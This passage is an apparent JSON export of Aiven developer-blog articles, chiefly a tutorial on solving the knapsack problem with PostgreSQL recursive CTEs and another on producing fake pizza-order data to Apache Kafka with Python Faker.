of data without the need to downsample data.","tags":[{"_key":"ae5820cb4b80","_ref":"94e23adc-203f-4482-b8df-63aeab555411","_type":"tag"},{"_key":"d17b4c201a07","_ref":"3c547914-626c-4ae5-8d0c-a0400bcc5e7f","_type":"tag"},{"_key":"7ca31d04e672","_ref":"88d61a12-59e1-4532-a812-c2da586315f2","_type":"tag"}],"title":"Connecting Apache Kafka® and Aiven for ClickHouse®"}
{"__i18n_lang":"en","_createdAt":"2023-08-07T07:38:23Z","_id":"ff47a868-ff1d-4669-8dd1-a07ad5ecb505","_rev":"neae7oL4y1FotDvvRJbBEc","_type":"devArticle","_updatedAt":"2024-07-11T07:45:18Z","body":"The days before a holiday are exciting. You've planned a vacation somewhere and can't wait to hit the road.\n\nBut first, there's a whole list of decisions to make: how many underpants should I bring? Are the running shoes necessary? What about the hairdryer? Which jacket should I pack? Lots of decisions to take with the suitcase size as constraint and the best holiday experience as ultimate goal.\n\nThe aim of the blog post is to help solve the packing problem using technology. Specifically, PostgreSQL® and the recursive Common Table Expressions.\n## Combinatorial optimization - the knapsack problem\nPeople have had to pack luggage for a long time, so this optimization dilemma is far from new. It even has a name: the **knapsack problem**. It can be applied to a variety of use cases where there is a set of items with a defined **weight** (space occupied in the luggage in our example) and **value** (item benefits during holiday) and where the **total weight is limited** (luggage size).\n\nThe end goal is to come up with a set of items that fits within the weight constraint and has the maximum possible value.\n\nFor example, let's assume we have the following items:\n\n|Item | Value | Weight |\n| --- | ----- | ------ |\n|🧦 Socks      |10 |3  |\n|🎩 Hat        |15 |5  |\n|👖 Trousers   |5  |15 |\n|👟 Shoes      |8  |10 |\n|👕 T-Shirt    |7  |10 |\n\nAnd we have a knapsack with a capacity of **20**.\n\nThis means we could pack:\n* 👖 Trousers (weight 15) +  🎩 Hat (weight 5) for a total value of (5 + 15) = 20\nOR\n* 👕 T-Shirt (weight 10) + 🎩 Hat (weight 5) + 🧦 Socks (weight 3) for a total value of (7 + 15 + 10) = 32\n\nThe second option gives us a much better overall value based on the settings in the table.\n\n(At this point, we should note that this concept and solution is presented as an oversimplified mathematical problem. Aiven is not responsible if you decide to leave for your holidays without any shoes or trousers!)\n## PostgreSQL to the rescue\nHow can we be sure to make the best choice? Can technology help? Of course! Just pull out your trusty PostgreSQL (which you should always remember to pack).\n\nLet's start by creating an instance with the help of [Aiven's command line interface](https://github.com/aiven/aiven-client).\n\n```bash\navn service create demo-pg      \\\n    --service-type pg           \\\n    --cloud google-europe-west3 \\\n    --plan hobbyist\n```\n\nThe above creates a PostgreSQL instance (`--service-type pg`) called `demo-pg` in the region `google-europe-west3` with an `hobbyist` plan. You can size and move your instance as you wish; check out all the [combinations available](https://aiven.io/postgresql).\n\nOnce the instance is up and running  (we can use `avn service wait demo-pg` to wait for it), we can log into the database from the prompt with:\n\n```bash\navn service cli demo-pg\n```\n\nGreat, we're in PostgreSQL! Now we can create the new `inventory` table and fill it with our dataset.\n\n```sql\ncreate table inventory (item_id serial, item_name varchar, value int, weight int);\ninsert into inventory(item_name, value, weight) values ('Socks', 10,3);\ninsert into inventory(item_name, value, weight) values ('Hat', 15,5);\ninsert into inventory(item_name, value, weight) values ('Trousers', 5,15);\ninsert into inventory(item_name, value, weight) values ('Shoes', 8,10);\ninsert into inventory(item_name, value, weight) values ('T-Shirt', 7,10);\n```\n\nLet's verify the data:\n\n```sql\nselect * from inventory;\n```\n\nAnd we get the expected output:\n\n```\n item_id | item_name | value | weight\n---------+-----------+-------+--------\n       1 | Socks     |    10 |      3\n       2 | Hat       |    15 |      5\n       3 | Trousers  |     5 |     15\n       4 | Shoes     |     8 |     10\n       5 | T-Shirt   |     7 |     10\n(5 rows)\n```\n\nWe're now ready to crack our luggage knapsack problem.\n## Iterative approach and PostgreSQL recursive CTEs\nThere are multiple ways of solving the knapsack problem. One of them is to [replicate in PostgreSQL](https://aiven.io/blog/future-postgresql-improvement-to-the-replication-protocol) what you would do in a trial \u0026 error case: you pick one item, add it to the luggage, then pick another item and add it, going on like that until the suitcase is full. Once no more items can fit in, you sum all the values of the inserted items and take note of the list. Then you empty the luggage and start from scratch again, trying to make sure you don't end up with the same sequence of items just in a different order.\n\nWhen all the possible item combinations have been checked, you can then select the one with maximum value. It's a long and error prone process, but luckily, computers can handle it for us.\n\nThe above process defines the steps we need to perform to find all the combinations:\n1. Select one random item from `inventory`.\n2. Add it to the `picked_items` list and store the item cost\n3. Select another item from `inventory`, making sure that:\n    a. it wasn't already in the `picked_items` list and\n    b. the `weight` of the current item plus the `total_weight` of all the items in the `picked_items` list is less or equal to the maximum allowed weight\n4. Add the new item in the `picked_items` list\n5. Add the item `weight` to the `total_weight`\n6. Go back to step #3 until `inventory` contains new items satisfying conditions a and b.\n\nWe can spot an iterative pattern here of sequential queries against the `inventory` table. How can we map it into PostgreSQL? We want to perform select statements against the `inventory` table for a variable number of iterations (the list of `picked_items` can have different sizes). We need a way to recursively call the select statement: here is were [PostgreSQL recursive CTEs](https://www.postgresql.org/docs/current/queries-with.html) shine, since they allow the creation of queries that can reference their own output.\n\nFor example we can get all the combination of 3 items starting with `Socks` in our `inventory` table with:\n\n```sql\nWITH RECURSIVE items(picked_items, nr_items) as (\n    SELECT ARRAY[item_name] as picked_items,\n        1 nr_items\n    from inventory\n    where item_name = 'Socks'\n    UNION ALL\n    select picked_items || item_name,\n        nr_items + 1\n    from inventory cross join items\n    where nr_items+1 \u003c= 3\n)\nselect * from items where nr_items=3;\n```\n\nThe `RECURSIVE` keyword sets the scene. The second `SELECT` statement is what does the trick by joining the `inventory` table with the result of the `RECURSIVE items` query we are still defining. The result lists all the 25 combinations of 3 items in the `inventory` table starting with `Socks`.\n\n```\n            name             | nr_items\n-----------------------------+----------\n {Socks,Socks,Socks}         |        3\n {Socks,Socks,Hat}           |        3\n {Socks,Socks,Trousers}      |        3\n {Socks,Socks,Shoes}         |        3\n {Socks,Socks,T-Shirt}       |        3\n {Socks,Hat,Socks}           |        3\n ...\n {Socks,T-Shirt,Hat}         |        3\n {Socks,T-Shirt,Trousers}    |        3\n {Socks,T-Shirt,Shoes}       |        3\n {Socks,T-Shirt,T-Shirt}     |        3\n(25 rows)\n```\n## Add the knapsack constraints\nThe above query returns all the combinations available in the `inventory` table limited to 3 items. However, our knapsack problems has different constraints:\n* Once an item is picked, we can't reuse it\n* The sequence doesn't have a fixed length but it's driven by the `total_cost`\n\nLet's check how we can add the above constraints in the recursive query, keeping `20` as total allowed cost:\n\n```sql\nWITH RECURSIVE items(item_id, picked_items, nr_items, total_weight, total_value) as (\n    SELECT\n        item_id,\n        ARRAY[item_name] as picked_items,\n        1 nr_items,\n        weight total_weight,\n        value total_value\n    from inventory\n    UNION ALL\n    select\n        inventory.item_id,\n        picked_items || item_name,\n        nr_items + 1,\n        weight + total_weight,\n        value + total_value\n    from inventory cross join items\n    where\n        picked_items::varchar[] @\u003e ARRAY[item_name] = false\n        and weight + total_weight \u003c= 20\n        and inventory.item_id \u003e items.item_id\n)\nselect * from items order by total_value;\n```\n\nLet's cut the query down in sections: the first piece is the seed of our recursive query, we select all rows from the `inventory` table\n\n```sql\nSELECT\n    item_id,\n    ARRAY[item_name] as picked_items,\n    1 nr_items,\n    weight total_weight,\n    value total_value\nfrom inventory\n```\n\nWe store the `item_id` as single value and we add it to the `picked_items` array. We also store the total number of items (`1`), the associated  `weight` as `total_weight` and `value` as `total_value`. The next phase, after the `UNION ALL`, is the recursive bit:\n\n```sql\nselect\n    inventory.item_id,\n    picked_items || item_name,\n    nr_items + 1,\n    weight + total_weight,\n    value + total_value\nfrom inventory cross join items\nwhere\n    picked_items::varchar[] @\u003e ARRAY[item_name] = false\n    and weight + total_weight \u003c= 20\n    and inventory.item_id \u003e items.item_id\n```\n\nWe select the `item_id`, store it a single value and add it to the `picked_items` array. Add `+1` to count of items and add the `weight` and `value` of the current item to `total_weight` and `total_value` of the previously selected items respectively.\n\nThe interesting bit comes in the following section. We perform a `CROSS JOIN` between `inventory` and `items` (our recursive query) creating a cartesian product of the tables. In other words, we then have a row for each item that exists in `inventory` multiplied for each row in `items`. Not very clever, but the filtering does the magic:\n\n* `picked_items::varchar[] @\u003e ARRAY[item_name] = false`: makes sure that we exclude from the result set any rows for which the `item_name` is already in the list of `picked_items`\n* `weight + total_weight \u003c= 20`: discards from the result set all items for which the related `weight` summed to the previously calculated `total_weight` exceeds the `20` threshold we set for our luggage.\n* `inventory.item_id \u003e items.item_id`: it's an optimization filter; `{Trousers,Shoes}` and `{Shoes,Trousers}` are two combinations of the same items, and we want to keep only one. Thus we allow the selection of items only in ascending `item_id` order, this will help improving performances since we are not analysing the same subset of items multiple times.\n\nThe result of the full query above is:\n\n```\n item_id |       picked_items        | nr_items | total_weight | total_value\n---------+---------------------------+----------+--------------+-------------\n       3 | {Trousers}                |        1 |           15 |           5\n       5 | {T-Shirt}                 |        1 |           10 |           7\n       4 | {Shoes}                   |        1 |           10 |           8\n       1 | {Socks}                   |        1 |            3 |          10\n       2 | {Hat}                     |        1 |            5 |          15\n       5 | {Shoes,T-Shirt}           |        2 |           20 |          15\n       3 | {Socks,Trousers}          |        2 |           18 |          15\n       5 | {Socks,T-Shirt}           |        2 |           13 |          17\n       4 | {Socks,Shoes}             |        2 |           13 |          18\n       3 | {Hat,Trousers}            |        2 |           20 |          20\n       5 | {Hat,T-Shirt}             |        2 |           15 |          22\n       4 | {Hat,Shoes}               |        2 |           15 |          23\n       2 | {Socks,Hat}               |        2 |            8 |          25\n       5 | {Socks,Hat,T-Shirt}       |        3 |           18 |          32\n       4 | {Socks,Hat,Shoes}         |        3 |           18 |          33\n(15 rows)\n```\n\nIt shows all the combinations of items that fit in our `20` capacity luggage. When we sort it by `total_value`, it becomes evident that the combination `{Socks,Hat,Shoes}` is the one that provides the maximum value.\n\nAgain, please take this as pure theoretical exercise and not as holiday packing suggestion. What? do you have also other constrains to add? Taking this as a basis, feel free to add any additional complexity that your real case requires!\n## Some thoughts\nThe knapsack problem is very common: from project planning to resource allocation there is a variety of real cases where we need to fit as much items as possible in some sort of limited bucket. PostgreSQL recursive CTEs represent a valid option where a query iterative approach is needed.\n\nA word of caution here: performance can quickly go wild if the recursion is not properly limited by filters. Define your recursion, set your boundaries, and enjoy how PostgreSQL can help you packing before the holidays!\n\nSome more references:\n\n* Definition and variations of the [Knapsack problem](https://en.wikipedia.org/wiki/Knapsack_problem)\n* [Aiven for PostgreSQL](https://aiven.io/postgresql) plans and clouds information\n* [PostgreSQL recursive CTEs](https://www.postgresql.org/docs/current/queries-with.html) documentation\n* [An introduction to PostgreSQL](https://aiven.io/blog/an-introduction-to-postgresql) on the Aiven blog\n* [(Postgre)SQL concepts and terms](https://aiven.io/blog/postgresql-concepts-and-terms)\n\n## Wrapping up\nNot using Aiven services yet? Sign up now for your free trial at [Aiven free trial signup](https://console.aiven.io/signup)!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog) and [RSS feeds](https://aiven.io/developer/feed.xml) or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.","feature":{"_type":"featuredItem","active":false,"endDate":"2023-08-14T07:38:19.696Z"},"hierarchy":{"_ref":"e6555a63-f0c2-406b-896c-cbe290019c3c","_type":"reference"},"publishedAt":"2021-08-31T00:00:00.000Z","seo":{"_type":"metaData","metaDescription":"The knapsack problem: how to fit all the items you're most likely to need on holiday? Find out how to use the world's best OS database to help you pack.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-e5ba89552e7639ed713819c95e3d370470036916-1200x628-jpg","_type":"reference"}},"metaTitle":"Solving the knapsack problem in PostgreSQL®"},"slug":{"_type":"slug","current":"/developer/solving-the-knapsack-problem-in-postgresql"},"subtitle":"The knapsack problem: how to fit all the items you're most likely to need on holiday? Find out how to use the world's best OS database to help you pack.","tags":[{"_key":"0b8010001f6b","_ref":"7585568a-42e1-4b7a-ba53-f416ed7c4ce2","_type":"tag"},{"_key":"1fdad813e45c","_ref":"88d61a12-59e1-4532-a812-c2da586315f2","_type":"tag"}],"title":"Solving the knapsack problem in PostgreSQL®"}
{"__i18n_lang":"en","_createdAt":"2023-03-24T15:37:37Z","_id":"766e5371-c2d6-409d-acba-a478d18ffdd2","_rev":"zYSUUPkF4TH1RAKzpzahRQ","_type":"devArticle","_updatedAt":"2024-03-18T11:43:20Z","body":"We've all been there: we installed or purchased a new, shiny data management tool for testing but immediately realized we didn't have any data to use for our trial! We may know the data's schema, but we can't use our company's datasets for a number of reasons.\n\nHow can we give the platform a proper try? What if I tell you all you need are a few lines of Python code? We'll use the real-world case of a pizza delivery chain to demonstrate how easy it is to produce proper fake event-based data. The scenario will showcase [Faker](https://faker.readthedocs.io/en/master/), a fake data generator for Python, pushing data to [Aiven for Apache Kafka](https://aiven.io/blog/what-is-apache-kafka) using Kafka's [SSL authentication.](https://aiven.io/docs/products/kafka/howto/connect-with-python#with-ssl-authentication)\n\nWatch the video:\n\n::youtube[How to create fake data with Python and Faker]{#WxDA-t7UmPM}\n\n::alert[If you're just interested in a ready-to-go pizza-based Kafka Producer, check out the [related Github repo](https://github.com/aiven/kafka-python-fake-data-producer)!]\n\n## Data platforms are empty shells\n\nDatabases, data lakes, and datastores in general are cool pieces of technology allowing anyone to manage and analyze data, but they share a common problem: they are completely empty by default. This makes them hard to use for testing, which is still needed to evaluate whether a solution fits your use case.\nSeveral platforms solve this problem by offering pre-filled sample datasets that can be installed or enabled with the help of few commands. Those datasets, however, are pretty static and do not always provide the set of features, fields or cardinality you need to perform your trials.\n\nWith [Apache Kafka](https://aiven.io/kafka), the scale of this problem is even larger. Not only is it empty by default, but it is also a streaming data platform that works by ingesting, transforming and distributing data on the fly - and it expects a continuous flow of data. Finding streaming data sources is a hard task, and, especially if you just want to test the basics of the platform, setting them up properly can be quite cumbersome.\n\nCreating fake data by hand is also not trivial. Even if you know your data schema, creating a coherent set of rows from scratch is challenging. In this blog post I'll walk you through how to create such a fake dataset for Kafka with a hot topic in mind: Pizza!\n\n## Gitpod\n\nThis tutorial is also available on Gitpod, which will allow you to avoid a lot of setup and offer an enhanced developer experience.\n\nYou have two options : \n* Start from scratch and follow along with the tutorial instructions : [Start \"from scratch\" Tutorial](https://gitpod.io/#https://github.com/Aiven-Labs/python-fake-data-producer-for-apache-kafka/tree/tutorial)\n* Start with an almost ready-to-go version where you will still have to provision the Aiven services. Be sure to open `README-gitpod.md` in preview mode to see the instructions : [Start \"mostly done\" Tutorial](https://gitpod.io/#https://github.com/Aiven-Labs/python-fake-data-producer-for-apache-kafka)\n\n## 1. Kafka setup\n\nLet's start with the tech setup. For this example we'll need a Kafka cluster. Creating it on [Aiven.io](https://console.aiven.io) is really easy:\n1. Navigate to [Aiven.io console](https://console.aiven.io) and sign in (or sign up; it's quick and easy).\n2. Click **+ Create a new service**\n3. Select the **Kafka** service (if we're picky we can also choose our favorite Apache Kafka version)\n4. Select the Cloud provider we want to deploy our services to, together with the Cloud region\n5. Select the service plan based on our needs\n6. Give the service a name\n\nSince I'm based in Italy I could easily go for the recently created `aws-eu-south` AWS region, located in Milan, to minimize latency. Your choice depends on where you're located or where you plan to provide your services. For our initial test we're ok in using a **Startup plan**, knowing we can always upgrade (or downgrade) in the future.\n\nThen click on **Create Service**. It will take a few minutes before our Kafka 3-node cluster shows up in the `RUNNING` state.\n\n### 1.1 Getting the service credentials\n\nWhile we're waiting for the service to be up and running, we can already start preparing for the next step: downloading the certificates required to connect.\n\n![credentials](//cdn.sanity.io/images/sczeoy4w/production/63ac13aaae7529413a353d113250cd6b9d5006d6-831x289.png \"Finding the service credentials in the Aiven Console\")\n\nWe can go to the **Overview** tab of our Kafka instance in [Aiven.io console](https://console.aiven.io) where we can easily find the **Access Key**, **Access Certificate** and **CA Certificate**. Then download them to our computer creates 3 files:\n* `service.key`: the Access Key\n* `service.cert`: the Access Certificate\n* `ca.pem`: the CA Certificate\n\nOn the **Overview** tab, I can also take note of the **Service URI** (usually in the form `\u003cINSTANCE_NAME\u003e-\u003cPROJECT_NAME\u003e.aivencloud.come:\u003cPORT\u003e`) that we'll use to correctly point our producer to the Kafka cluster.\n\n### 1.2 Auto topic creation and enabling Kafka REST APIs\n\nBy default, Kafka producers can push data only to pre-created topics. In order to allow topics to be created on the fly while pushing the first record, in this tutorial we'll enable the `kafka.auto_create_topics_enable` parameter in [Aiven.io console](https://console.aiven.io) **Overview** tab; scroll down to the **Advanced configuration** section and then click the **+ Add configuration option** menu.\n\n![advanced configurations](//cdn.sanity.io/images/sczeoy4w/production/5bab3a6a44921f609554433f17703f324a9b494f-881x342.png \"Add configuration option in the Advanced configuration section in the Aiven Console\")\n\nThe last step needed in the configuration is to enable the **Kafka REST API (Karapace)** in Kafka's console **Overview** tab, for our cluster. This step is, strictly speaking, not fundamental, but will allow us to check our producer by [reviewing the pushed records in Aiven.io console](https://aiven.io/blog/kafka-messages-ui-announcement) **Topics** tab.\n\n## 2. Python client settings\nWe'll use the [kafka-python](https://pypi.org/project/kafka-python/) client to build our producer. All we need to do is install it:\n```\npip install kafka-python\n```\nAnd then set a Producer. Add this code to a new `main.py` file\n```\nimport json\nfrom kafka import KafkaProducer\n\nfolderName = \"~/kafkaCerts/kafka-pizza/\"\nproducer = KafkaProducer(\n    bootstrap_servers=\"\u003cINSTANCE_NAME\u003e-\u003cPROJECT_NAME\u003e.aivencloud.com:\u003cPORT\u003e\",\n    security_protocol=\"SSL\",\n    ssl_cafile=folderName+\"ca.pem\",\n    ssl_certfile=folderName+\"service.cert\",\n    ssl_keyfile=folderName+\"service.key\",\n    value_serializer=lambda v: json.dumps(v).encode('ascii'),\n    key_serializer=lambda v: json.dumps(v).encode('ascii')\n\n)\n```\nIn the sample code we imported the dependencies and set the correct parameters like `bootstrap_servers`, `ssl_cafile`, `ssl_certfile` and `ssl_keyfile` which refer to the connection URI and the three certificate files mentioned in the section above. Check the full list of available parameters and the various authentication methods to connect to Apache Kafka with Python [in the Aiven documentation.](https://aiven.io/docs/products/kafka/howto/connect-with-python)\n\nThe `value_serializer` and `key_serializer` parameters need a separate explanation. Later on, we will produce each record and key in Json format. To push it properly to Kafka we need to transform them to string format and encode. This is exactly what the code  `lambda v: json.dumps(v).encode('ascii')` does.\n\nWe are now ready to push our first message to Kafka's `test-topic` with\n\n```\nproducer.send(\"test-topic\",\n                key={\"key\": 1},\n                value={\"message\": \"hello world\"}\n            )\nproducer.flush()\n```\n\nThe `flush()` command blocks the code from executing until all async messages are sent.\n\nIf we did our homework correctly, we can now execute the `main.py` code with\n\n```\npython main.py\n```\n\nWe should be able to see in [Aiven.io console](https://console.aiven.io), under the **Topics** tab, the topic correctly being created:\n\n![test-topic](//cdn.sanity.io/images/sczeoy4w/production/b7fe72b840501b9dd1cf3da9158da4cf6e51a5c5-929x116.png \"Message displayed\")\n\nAnd after clicking on the topic name, on **Messages**, and selecting `json` as **FORMAT** we should be able to view our message:\n\n![test-topic-message](//cdn.sanity.io/images/sczeoy4w/production/e91f8603db19fc232882d846caac57db9d700e67-1298x335.png)\n\n## 3. Create Fake Datasets with Faker\nSo, let's back to our _main_ topic: pizza.\n\nWe are the owners of a pizza delivery chain, and of course we want to push our orders to Apache Kafka. We know we receive calls, and note down the client's `Name`, `Address` and `Phone Number` (you never know, we might get lost while delivering). How can we mimic that information?\n\nWelcome to [Faker](https://faker.readthedocs.io/en/master/), a Python library allowing us to create proper fake data! We need to be on Python 3.5 and above, and we can install it with\n\n```\npip install Faker\n```\nWe just need a simple code to create one (or more) tuple of data containing the `Name`, `Address` and `Phone Number`\n\n```\nfrom faker import Faker\nfake = Faker()\nmessage= {\n        'name':fake.name(),\n        'address':fake.address(),\n        'phone':fake.phone_number()\n        }\nprint(message)\n```\n\nWhich will print a record like the below\n\n```\n{'name': 'Adrian Cole', 'address': '9395 Smith Canyon\\nSullivanport, UT 22200', 'phone': '001-959-108-3651'}\n```\nWe can even localise the output by passing the locale as argument like\n```\nfake = Faker('it_IT')\n```\nThe same example above, localised in Italian with the `it_IT` parameter will generate\n\n```\n{'name': 'Sig. Leopoldo Piacentini', 'address': 'Piazza Cocci 707 Piano 3\\nSesto Isabella lido, 53704 Forlì-Cesena (FE)', 'phone': '+39 12 26548428'}\n```\n\nPerfect, now our basic fake data generator is ready!\n\nWell... a `\u003cName, Address, Phone Number\u003e` tuple is not really rocket science, and also doesn't tell us anything about our business. We are a pizzeria, where are the pizzas?\nSurprisingly [Faker's standard providers](https://faker.readthedocs.io/en/master/providers.html) do not include a pizza generator, but don't worry, we can [create our own](https://faker.readthedocs.io/en/master/providers.html).\n\n### 3.1 Create Custom Data Provider\nWe know we have a standard pizza menu consisting of few options, ranging from the traditional **Margherita** to the **Mari \u0026 Monti** mixing seafood and ham. Creating a fake pizza generator is just a matter of returning a random choice between the available options. We can create a new Faker provider in a separate `pizzaproducer.py` file.\n\n```\nimport random\nfrom faker.providers import BaseProvider\n\nclass PizzaProvider(BaseProvider):\n    def pizza_name(self):\n        validPizzaNames= ['Margherita',\n                          'Marinara',\n                          'Diavola',\n                          'Mari \u0026 Monti',\n                          'Salami',\n                          'Pepperoni'\n                        ]\n        return validPizzaNames[random.randint(0,len(validPizzaNames)-1)]\n```\nWe can now import the `PizzaProvider` in our `main.py` file and run it for 10 samples\n\n```\nfrom pizzaproducer import PizzaProvider\nfake.add_provider(PizzaProvider)\nfor i in range(0,10):\n    print(fake.pizza_name())\n```\nWe correctly obtain\n```\nMari \u0026 Monti\nSalami\nMarinara\nPepperoni\nMarinara\nPepperoni\nSalami\nPepperoni\nMargherita\nPepperoni\n```\n\nBut like in any respectable pizzeria, we allow people to add **toppings** from a list, and similarly to the above, we can define a custom `pizza_toppings` function. The same goes to record which **pizza shop** in our chain is receiving the order, which generation is demanded to the `pizza_shop` function.\n\nThe full pizza fake data provider code can be found [here](https://github.com/aiven/python-fake-data-producer-for-apache-kafka/blob/main/pizzaproducer.py), ready for a copy-paste into our `pizzaproducer.py` file.\n\n### 3.2 Creating an order\n\nWe now have all the building blocks, let's create an order.\nFor each call, we note down the `Name`, `Address` and `Phone Number`. The customer however can order 1-10 pizzas, and, for each pizza, 0-5 additional toppings. To generate fake orders, can define a function that accepts a randomly generate `orderid` and returns the order `message` and related `key`.\nOne thing to note: we decided to key our messages with a representation of the shop name in Json format. This will ensure all orders from the same shop to appear in the same `pizza-order` [topic partition](https://aiven.io/developer/balance-data-across-kafka-partitions), thus making sure that a shop's requests will be executed following the order arrival time.\n\n```\n# creating function to generate the pizza Order\ndef produce_pizza_order (orderid = 1):\n    shop = fake.pizza_shop()\n    # Each Order can have 1-10 pizzas in it\n    pizzas = []\n    for pizza in range(random.randint(1, MAX_NUMBER_PIZZAS_IN_ORDER)):\n        # Each Pizza can have 0-5 additional toppings on it\n        toppings = []\n        for topping in range(random.randint(0, MAX_ADDITIONAL_TOPPINGS_IN_PIZZA)):\n            toppings.append(fake.pizza_topping())\n        pizzas.append({\n            'pizzaName': fake.pizza_name(),\n            'additionalToppings': toppings\n        })\n    # message composition\n    message = {\n        'id': orderid,\n        'shop': shop,\n        'name': fake.unique.name(),\n        'phoneNumber': fake.unique.phone_number(),\n        'address': fake.address(),\n        'pizzas': pizzas\n    }\n    return message, key\n\n```\nCalling the above code with\n\n```\nproduce_pizza_order(704)\n```\nWill generate a `key` like\n```\n{\n  \"shop\":\"Luigis Pizza\"\n}\n```\nAnd a `message` like\n\n```\n{\n  \"id\": 704,\n  \"shop\": \"Luigis Pizza\",\n  \"name\": \"Jessica Green\",\n  \"phoneNumber\": \"(549)966-3806x9591\",\n  \"address\": \"458 Conway Dale Apt. 510\\nZacharyborough, TX 48185\",\n  \"pizzas\": [\n    {\n      \"pizzaName\": \"Mari \u0026 Monti\",\n      \"additionalToppings\": [\n        \"banana\"\n      ]\n    },\n    {\n      \"pizzaName\": \"Peperoni\",\n      \"additionalToppings\": [\n        \"ham\"\n      ]\n    }\n  ]\n}\n\n```\n\n## 4. Creating a Fake Producer\nWe described above two lego blocks: Kafka producer settings and fake order generator. What's missing?\nWe need a continuous stream of events. This we can easily simulate, for `100` messages for example, with a loop:\n\n```\nimport time\nwhile i \u003c  100:\n    message, key = produce_pizza_order(i)\n\n    print(\"Sending: {}\".format(message))\n    # sending the message to Kafka\n    producer.send(topic_name,\n                  key=key,\n                  value=message)\n    # 2 seconds of sleep time before the next message\n    time.sleep(2)\n\n    # Force sending of all messages\n    if (i % 100) == 0:\n        producer.flush()\n    i=i+1\nproducer.flush()\n```\n\n## 5. The code is yours!\n\nBy following the above steps you should be able to correctly produce events to Kafka. But, if you are keen on looking at the ready-made project, check out the [related Github repo](https://github.com/aiven/python-fake-data-producer-for-apache-kafka) which will enable you to generate data within minutes.\n\nAfter executing the code, we can verify that the Producer did its job by going to the **Topics** tab in [Aiven.io console](https://console.aiven.io) and checking the `pizza-orders` offset:\n\n![topic info](//cdn.sanity.io/images/sczeoy4w/production/498c6b2376689c16244c3d4a166114cde4ac64eb-1187x345.png \"Pizza orders topic info\")\n\nAnd, since we enabled Kafka REST APIs, also by viewing the actual topic content:\n![topic message view](//cdn.sanity.io/images/sczeoy4w/production/0c0690e9285bc149986e3282a35c78f9432439ca-987x746.png \"Pizza orders topic content\")\n\n::banner[Apache Kafka as a fully managed service, with zero vendor lock-in and a full set of capabilities to build your streaming pipeline.]{ctaText=\"Get started for free\" ctaLink=\"https://console.aiven.io/signup\" title=\"Get your first cluster online now\" theme=\"dark\"}\n\n## Wrapping up\nIf you want to explore the benefits of Apache Kafka, then you need a proper streaming dataset. Whether you want a silly pizza use case or to mimic your datasets, Faker can help you by providing a streaming playground.\n\n* [What is Apache Kafka](https://aiven.io/blog/what-is-apache-kafka)\n* [An introduction to event-driven architecture](https://aiven.io/blog/introduction-to-event-driven-architecture)\n* [Getting Started with Aiven for Apache Kafka](https://aiven.io/docs/products/kafka/getting-started)\n* [Learn about tools for Kafka](https://aiven.io/docs/products/kafka/howto/list-tools)\n* [Learn more about Faker](https://faker.readthedocs.io/en/master/)\n* [Learn how to use kcat](https://aiven.io/docs/products/kafka/howto/kcat)\n* [Check out the related repo](https://github.com/aiven/kafka-python-fake-data-producer)\n\nNot using Aiven services yet? Sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog/feed.xml) and [blog](https://aiven.io/blog/feed.xml) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.","feature":{"_type":"featuredItem","active":true,"endDate":"2023-09-30T14:37:00.000Z"},"hierarchy":{"_ref":"185b7847-7030-4530-ad9c-89a0772c8be9","_type":"reference"},"internalTags":[{"_key":"93f751bd8ae2","_ref":"0a74c077-c383-4811-9951-c849b80df99b","_type":"tag"}],"publishedAt":"2024-01-31T09:56:00.000Z","seo":{"_type":"metaData","metaImage":{"_type":"mainImage","asset":{"_ref":"image-63a676d4b614586ed8de8811de4c53ad9852deac-1567x844-jpg","_type":"reference"}},"metaTitle":"Create a Custom Kafka Data Stream with Python and Faker"},"slug":{"_type":"slug","current":"/developer/create-your-own-data-stream-for-kafka-with-python-and-faker"},"subtitle":"How can you test an empty data pipeline? Read on to discover how to create pretend streaming data using Python and Faker.","tags":[{"_key":"c0efec6b7626","_ref":"3c547914-626c-4ae5-8d0c-a0400bcc5e7f","_type":"tag"},{"_key":"f7ac9002aece","_ref":"88d61a12-59e1-4532-a812-c2da586315f2","_type":"tag"},{"_key":"bbbbe436cafb","_ref":"3314b5d5-e0fa-4c8e-9f6e-a7564aa5c632","_type":"tag"}],"title":"Create your own data stream for Apache Kafka® with Python and Faker"}
{"__i18n_lang":"en","_createdAt":"2024-11-23T10:40:46Z","_id":"2d1b3e3a-04eb-406f-93be-30d8167796e2","_rev":"lbpMA3MBWy0eIji4xoNTH4","_type":"devArticle","_updatedAt":"2024-12-11T14:51:58Z","body":"Apache Kafka and ClickHouse are commonly used together for real-time data analytics and event-driven systems. Both tools are built for speed and scale. While Apache Kafka efficiently handles streaming data ClickHouse excels at Online Analytical Processing (OLAP) and is designed for fast queries on large datasets. By combining Apache Kafka and ClickHouse we can support a variety of different usecases, such as accurate real-time analytics, fraud detection systems, financial records pipelines. \n\nFor these scenarios, precision is key - you want to make sure every record is ingested exactly once.  That’s where the Aiven platform comes in. With support for the ClickHouse Kafka Connect Sink and built-in exactly-once semantics, Aiven makes it easy to reliably move data from Kafka to ClickHouse without duplicates or data loss. With this you can use real-time data without any other post-processing work and deduplication, allowing quicker intelligent analysis, fewer errors, and fewer data munging by expensive data engineers, overall maximising your total cost of ownership and reducing ops expenditure.\n\nIn this article, we’ll show you how to stream data from Apache Kafka to ClickHouse using Aiven platform. As an example, we’ll walk through setting up a pipeline to stream sensor data into a Kafka topic and then sink that data into a ClickHouse table.\n\n## Step 1. Create two services - Aiven for Apache Kafka and Aiven for ClickHouse\n\nFor this tutorial, we’ll be using Aiven for Apache Kafka, which is quick and easy to set up. If you’re new to Aiven, you can [create an account](https://console.aiven.io/signup) — you'll also get free credits to start your trial.\n\nOnce you're signed in, [create two new services](https://aiven.io/docs/platform/howto/create_new_service) Aiven for Apache Kafka and Aiven for ClickHouse. \n\n[Add a new topic](https://aiven.io/docs/products/kafka/howto/create-topic) \"sensor_readings\" to Apache Kafka. \n\n## Step 2. Stream the data into Apache Kafka\n\nThere are several ways to add test data to Apache Kafka. For this tutorial, we’ll use the `kcat` tool along with a simple bash script. To get started, you’ll need to install `kcat` and create a `kcat.config` file. This file should include the URI to your Kafka cluster and the necessary 